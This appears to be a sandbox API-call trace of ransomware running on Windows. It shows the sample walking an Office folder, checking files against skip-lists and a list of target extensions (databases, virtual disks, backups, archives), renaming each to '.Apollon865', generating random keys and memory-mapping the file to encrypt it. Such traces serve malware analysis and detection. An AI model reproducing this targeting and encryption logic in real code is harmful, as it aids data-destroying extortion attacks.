	[0069.098] lstrlenW (lpString="rar") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.098] lstrlenW (lpString="zip") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.098] lstrlenW (lpString="tgz") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.098] lstrlenW (lpString="vbox") returned 4
	[0069.098] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.098] lstrlenW (lpString="vdi") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.098] lstrlenW (lpString="vhd") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.098] lstrlenW (lpString="vhdx") returned 4
	[0069.098] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.098] lstrlenW (lpString="avhd") returned 4
	[0069.098] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.098] lstrlenW (lpString="db") returned 2
	[0069.098] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.098] lstrlenW (lpString="db2") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.098] lstrlenW (lpString="db3") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.098] lstrlenW (lpString="dbf") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.098] lstrlenW (lpString="mdf") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.098] lstrlenW (lpString="mdb") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.098] lstrlenW (lpString="sql") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.098] lstrlenW (lpString="sqlite") returned 6
	[0069.099] lstrcmpiW (lpString1="06.XML", lpString2="sqlite") returned -1
	[0069.099] lstrlenW (lpString="sqlite3") returned 7
	[0069.099] lstrcmpiW (lpString1="106.XML", lpString2="sqlite3") returned -1
	[0069.099] lstrlenW (lpString="sqlitedb") returned 8
	[0069.099] lstrcmpiW (lpString1="L106.XML", lpString2="sqlitedb") returned -1
	[0069.099] lstrlenW (lpString="xml") returned 3
	[0069.099] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.099] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.Apollon865") returned 75
	[0069.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.100] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=39652) returned 1
	[0069.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.101] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.101] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.101] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.101] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9df0, lpName=0x0) returned 0x118
	[0069.103] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9df0) returned 0x100000
	[0069.106] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.106] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.106] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.107] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.107] CloseHandle (hObject=0x118) returned 1
	[0069.107] CloseHandle (hObject=0x15c) returned 1
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.108] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45218b00, ftCreationTime.dwHighDateTime=0x1ca1b45, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45218b00, ftLastWriteTime.dwHighDateTime=0x1ca1b45, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL107.XML", cAlternateFileName="")) returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2=".") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="..") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="windows") returned -1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="bootmgr") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="temp") returned -1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="pagefile.sys") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="boot") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="ids.txt") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="ntuser.dat") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="perflogs") returned 1
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2="MSBuild") returned 1
	[0069.108] lstrlenW (lpString="PGLBL107.XML") returned 12
	[0069.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML") returned 64
	[0069.108] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL107.XML" | out: lpString1="PGLBL107.XML") returned="PGLBL107.XML"
	[0069.108] lstrlenW (lpString="PGLBL107.XML") returned 12
	[0069.108] lstrlenW (lpString="Apollon865") returned 10
	[0069.108] lstrcmpiW (lpString1="LBL107.XML", lpString2="Apollon865") returned 1
	[0069.108] lstrlenW (lpString=".dll") returned 4
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2=".dll") returned 1
	[0069.108] lstrlenW (lpString=".lnk") returned 4
	[0069.108] lstrcmpiW (lpString1="PGLBL107.XML", lpString2=".lnk") returned 1
	[0069.108] lstrlenW (lpString=".ini") returned 4
	[0069.109] lstrcmpiW (lpString1="PGLBL107.XML", lpString2=".ini") returned 1
	[0069.109] lstrlenW (lpString=".sys") returned 4
	[0069.109] lstrcmpiW (lpString1="PGLBL107.XML", lpString2=".sys") returned 1
	[0069.109] lstrlenW (lpString="PGLBL107.XML") returned 12
	[0069.109] lstrlenW (lpString="bak") returned 3
	[0069.109] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.109] lstrlenW (lpString="ba_") returned 3
	[0069.109] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.109] lstrlenW (lpString="dbb") returned 3
	[0069.109] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.109] lstrlenW (lpString="vmdk") returned 4
	[0069.109] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.109] lstrlenW (lpString="rar") returned 3
	[0069.110] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.110] lstrlenW (lpString="zip") returned 3
	[0069.110] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.110] lstrlenW (lpString="tgz") returned 3
	[0069.110] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.110] lstrlenW (lpString="vbox") returned 4
	[0069.110] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.110] lstrlenW (lpString="vdi") returned 3
	[0069.110] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.110] lstrlenW (lpString="vhd") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.111] lstrlenW (lpString="vhdx") returned 4
	[0069.111] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.111] lstrlenW (lpString="avhd") returned 4
	[0069.111] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.111] lstrlenW (lpString="db") returned 2
	[0069.111] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.111] lstrlenW (lpString="db2") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.111] lstrlenW (lpString="db3") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.111] lstrlenW (lpString="dbf") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.111] lstrlenW (lpString="mdf") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.111] lstrlenW (lpString="mdb") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.111] lstrlenW (lpString="sql") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.111] lstrlenW (lpString="sqlite") returned 6
	[0069.111] lstrcmpiW (lpString1="07.XML", lpString2="sqlite") returned -1
	[0069.111] lstrlenW (lpString="sqlite3") returned 7
	[0069.111] lstrcmpiW (lpString1="107.XML", lpString2="sqlite3") returned -1
	[0069.111] lstrlenW (lpString="sqlitedb") returned 8
	[0069.111] lstrcmpiW (lpString1="L107.XML", lpString2="sqlitedb") returned -1
	[0069.111] lstrlenW (lpString="xml") returned 3
	[0069.111] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.111] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.Apollon865") returned 75
	[0069.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.113] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=120262) returned 1
	[0069.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.113] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.114] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.114] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.114] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d8d0, lpName=0x0) returned 0x118
	[0069.116] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d8d0) returned 0x120000
	[0069.122] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.122] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.122] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.122] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.123] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.124] CloseHandle (hObject=0x118) returned 1
	[0069.124] CloseHandle (hObject=0x15c) returned 1
	[0069.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.134] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.135] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x2dbec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL108.XML", cAlternateFileName="")) returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2=".") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="..") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="windows") returned -1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="bootmgr") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="temp") returned -1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="pagefile.sys") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="boot") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="ids.txt") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="ntuser.dat") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="perflogs") returned 1
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2="MSBuild") returned 1
	[0069.135] lstrlenW (lpString="PGLBL108.XML") returned 12
	[0069.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML") returned 64
	[0069.135] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL108.XML" | out: lpString1="PGLBL108.XML") returned="PGLBL108.XML"
	[0069.135] lstrlenW (lpString="PGLBL108.XML") returned 12
	[0069.135] lstrlenW (lpString="Apollon865") returned 10
	[0069.135] lstrcmpiW (lpString1="LBL108.XML", lpString2="Apollon865") returned 1
	[0069.135] lstrlenW (lpString=".dll") returned 4
	[0069.135] lstrcmpiW (lpString1="PGLBL108.XML", lpString2=".dll") returned 1
	[0069.136] lstrlenW (lpString=".lnk") returned 4
	[0069.136] lstrcmpiW (lpString1="PGLBL108.XML", lpString2=".lnk") returned 1
	[0069.136] lstrlenW (lpString=".ini") returned 4
	[0069.136] lstrcmpiW (lpString1="PGLBL108.XML", lpString2=".ini") returned 1
	[0069.136] lstrlenW (lpString=".sys") returned 4
	[0069.136] lstrcmpiW (lpString1="PGLBL108.XML", lpString2=".sys") returned 1
	[0069.136] lstrlenW (lpString="PGLBL108.XML") returned 12
	[0069.136] lstrlenW (lpString="bak") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.136] lstrlenW (lpString="ba_") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.136] lstrlenW (lpString="dbb") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.136] lstrlenW (lpString="vmdk") returned 4
	[0069.136] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.136] lstrlenW (lpString="rar") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.136] lstrlenW (lpString="zip") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.136] lstrlenW (lpString="tgz") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.136] lstrlenW (lpString="vbox") returned 4
	[0069.136] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.136] lstrlenW (lpString="vdi") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.136] lstrlenW (lpString="vhd") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.136] lstrlenW (lpString="vhdx") returned 4
	[0069.136] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.136] lstrlenW (lpString="avhd") returned 4
	[0069.136] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.136] lstrlenW (lpString="db") returned 2
	[0069.136] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.136] lstrlenW (lpString="db2") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.136] lstrlenW (lpString="db3") returned 3
	[0069.136] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.136] lstrlenW (lpString="dbf") returned 3
	[0069.137] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.137] lstrlenW (lpString="mdf") returned 3
	[0069.137] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.137] lstrlenW (lpString="mdb") returned 3
	[0069.137] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.137] lstrlenW (lpString="sql") returned 3
	[0069.137] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.137] lstrlenW (lpString="sqlite") returned 6
	[0069.137] lstrcmpiW (lpString1="08.XML", lpString2="sqlite") returned -1
	[0069.137] lstrlenW (lpString="sqlite3") returned 7
	[0069.137] lstrcmpiW (lpString1="108.XML", lpString2="sqlite3") returned -1
	[0069.137] lstrlenW (lpString="sqlitedb") returned 8
	[0069.137] lstrcmpiW (lpString1="L108.XML", lpString2="sqlitedb") returned -1
	[0069.137] lstrlenW (lpString="xml") returned 3
	[0069.137] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.137] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.Apollon865") returned 75
	[0069.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.138] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=187372) returned 1
	[0069.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.138] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.138] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.139] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.139] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.139] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2def0, lpName=0x0) returned 0x118
	[0069.151] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2def0) returned 0x120000
	[0069.163] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.164] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.164] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.164] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.166] CloseHandle (hObject=0x118) returned 1
	[0069.166] CloseHandle (hObject=0x15c) returned 1
	[0069.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.167] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b1600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0b1600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x2b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL109.XML", cAlternateFileName="")) returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2=".") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="..") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="windows") returned -1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="bootmgr") returned 1
